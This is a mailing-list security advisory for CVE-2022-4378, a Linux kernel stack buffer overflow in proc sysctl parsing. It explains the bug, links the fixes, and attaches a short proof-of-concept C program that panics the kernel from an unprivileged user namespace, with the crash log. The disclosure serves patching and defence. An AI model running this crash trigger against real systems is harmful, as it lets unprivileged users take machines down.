oss-sec mailing list archives
CVE-2022-4378: Linux kernel stack-based buffer overflow
From: Kyle Zeng <zengyhkyle () gmail com>
Date: Fri, 9 Dec 2022 09:11:25 -0700
Hi there,
I recently found a stack-based buffer overflow in the Linux kernel,
which can cause DOS and is potentially exploitable. This bug affects
the following kernel versions: latest, 6.0, 5.15, 5.10, 5.4, 4.19,
4.14, and 4.9. I already contacted security () kernel org and helped them
patch the vulnerable kernel versions.
# Vulnerability
The vulnerability is caused by a missing check on user input. More
specifically, __do_proc_dointvec function has the following snippet:
~~~
if (write) {
......
if (left > PAGE_SIZE - 1)
left = PAGE_SIZE - 1;
p = buffer;
}
......
if (write) {
left -= proc_skip_spaces(&p);
~~~
In this snippet, `buffer` and `p` represent a buffer containing
user-supplied input and it can contain more than 1 page of data. It
first truncates user input to 1 page (by marking number of bytes
`left` as 1 page). However, in a later call to `proc_skip_spaces` (a
function that assumes the argument is a NULL-terminated string), it
forgets the "up to 1 page" limit, processes all user input, and
calculates how many leading spaces are there in the user input. In the
buffer contains more than 1 page of spaces, `left` will be set to a
negative value. The negative value will then be passed to
`proc_get_long` and the least significant 4 bytes will be used as
length for memcpy that copies data to kernel stack, causing
stack-based buffer overflow: (the check on `len` won't work because
`len` is signed)
~~~
static int proc_get_long(...)
{
char tmp[TMPBUFLEN];
int len = *size;
if (len > TMPBUFLEN - 1)
len = TMPBUFLEN - 1;
memcpy(tmp, *buf, len);
......
}
~~~
# Patch
The patch consists of two parts:
1. refactor `proc_skip_spaces`, instead of assuming the argument is a
NULL-terminated string, it now will process data up to a limit. The
patch can be found here:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bce9332220bd677d83b19d21502776ad555a0e73
2. fix the signness issue in `len`:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6cfaf34be9fcd1a8285a294e18986bfc41a409c
# Trigger
The bug is triggerable by non-root users if they have access to
user-namespace. A proof-of-concept crash program that causes kernel
panic is attached. To run the POC, you need net namespace. In other
words, you can trigger the bug using the following command: `unshare
-rn` and then `./poc`.
Best,
Kyle Zeng
===========================================
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
int main(void)
{
int fd = open("/proc/sys/net/ipv4/tcp_rmem", O_WRONLY);
void *a = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
memset(a, '\x09', 0x2000);
write(fd, a, 0x2000);
return 0;
}
============================================
[ 7.150435] BUG: stack guard page was hit at 00000000eea91c87
(stack is 00000000fdd90d6b..000000009d81213d)
[ 7.152330] kernel stack overflow (page fault): 0000 [#1] SMP NOPTI
[ 7.153467] CPU: 3 PID: 476 Comm: poc Not tainted 5.10.157 #37
[ 7.154815] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.15.0-1 04/01/2014
[ 7.156633] RIP: 0010:memcpy_erms+0x6/0x10
[ 7.157118] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48
c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8
48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40
38 fe
[ 7.158177] RSP: 0018:ffffc90000823c68 EFLAGS: 00010282
[ 7.158488] RAX: ffffc90000823ca0 RBX: ffffffffffffefff RCX: ffffffffffffec9f
[ 7.158932] RDX: ffffffffffffefff RSI: ffff888007d7e360 RDI: ffffc90000824000
[ 7.159347] RBP: ffffc90000823d00 R08: ffffffff824158b3 R09: 0000000000000000
[ 7.159802] R10: ffffc90000823eb8 R11: ffffffff810fb290 R12: ffffc90000823d58
[ 7.160201] R13: ffffc90000823d47 R14: ffffc90000823ca0 R15: ffffffffffffefff
[ 7.160603] FS: 0000000001a533c0(0000) GS:ffff88803ed80000(0000)
knlGS:0000000000000000
[ 7.161053] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 7.161373] CR2: ffffc90000824000 CR3: 0000000007f3e006 CR4: 0000000000770ee0
[ 7.161769] PKRU: 55555554
[ 7.161924] Call Trace:
[ 7.162076] proc_get_long+0x90/0x190
[ 7.162286] Modules linked in:
[ 7.162463] ---[ end trace d4a913b02029fee9 ]---
[ 7.162722] RIP: 0010:memcpy_erms+0x6/0x10
[ 7.162952] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48
c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8
48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40
38 fe
[ 7.164044] RSP: 0018:ffffc90000823c68 EFLAGS: 00010282
[ 7.164370] RAX: ffffc90000823ca0 RBX: ffffffffffffefff RCX: ffffffffffffec9f
[ 7.164780] RDX: ffffffffffffefff RSI: ffff888007d7e360 RDI: ffffc90000824000
[ 7.165188] RBP: ffffc90000823d00 R08: ffffffff824158b3 R09: 0000000000000000
[ 7.165595] R10: ffffc90000823eb8 R11: ffffffff810fb290 R12: ffffc90000823d58
[ 7.166002] R13: ffffc90000823d47 R14: ffffc90000823ca0 R15: ffffffffffffefff
[ 7.166431] FS: 0000000001a533c0(0000) GS:ffff88803ed80000(0000)
knlGS:0000000000000000
[ 7.166889] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 7.167218] CR2: ffffc90000824000 CR3: 0000000007f3e006 CR4: 0000000000770ee0
[ 7.167661] PKRU: 55555554
[ 7.167820] Kernel panic - not syncing: Fatal exception
[ 7.168333] Kernel Offset: disabled
[ 7.168544] Rebooting in 1000 seconds..
Current thread:
- CVE-2022-4378: Linux kernel stack-based buffer overflow Kyle Zeng (Dec 09)
